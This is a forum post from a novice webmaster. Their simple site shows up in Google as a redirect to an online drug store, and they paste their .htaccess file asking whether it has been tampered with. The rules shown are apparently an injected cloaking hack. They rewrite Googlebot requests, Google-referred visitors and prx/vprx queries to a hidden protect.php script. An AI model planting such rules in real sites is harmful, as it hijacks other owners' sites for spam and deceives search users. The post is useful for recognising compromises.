Hi guys this should be a simple one for you.
My website, a dead simple htm page was Hijacked within Google. Each time I searched for the site in Google it would never show. If I typed the site address direct into the address bar it worked fine. When I used the webmasters page in Google and requested a fetch I could see the code in the head and body had changed. I gather this is some kind of proxy hack. On the google forum they keep telling me my htaccess file is corrupted. I am JUST beginning to learn PHP and MySql and stuff after spending a few years getting the basics of Visual Studio. I am being told I am an idiot however I feel I am being taken advantage of because I am yet to learn about the meaning of the htaccess file. It does not look corrupted to me.
I have added some screen shots of the page and hoiw it looks in Google after it has been hacked and the code after Google fetched it for indexing and the code after downloading the index file from my server space as is. You can see the latter has not been changed either.
The page searches and displays correctly in other search engines linke Yahoo. The site has now been taken down by me because I have no control over this hack and simply cannot fix it, Google refused to delete it and the cache to enable me to re index it.
Please can someone confirm that this htaccess file is not corrupted to redirect my web page to a online cancer drug store thanks.
`<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} ^.googlebot. [NC]
RewriteCond %{REQUEST_URI}?%{QUERY_STRING} ^/\?$
RewriteRule (.) /Pictures/protect.php [L,NS,QSA]
RewriteCond %{HTTP_REFERER} !.site.*
RewriteCond %{HTTP_REFERER} ^.google.[a-z]{2,3}?/.
RewriteCond %{HTTP_USER_AGENT} !^.googlebot. [NC]
RewriteCond %{REQUEST_URI}?%{QUERY_STRING} ^/\?$
RewriteRule (.) /Pictures/protect.php [L,NS,QSA]
RewriteCond %{QUERY_STRING} (^|&)(prx|vprx)=
RewriteCond %{REQUEST_URI} !protect.php$ [NC]
RewriteRule (.) /Pictures/protect.php [L,NS,QSA]
RewriteBase /
</IfModule>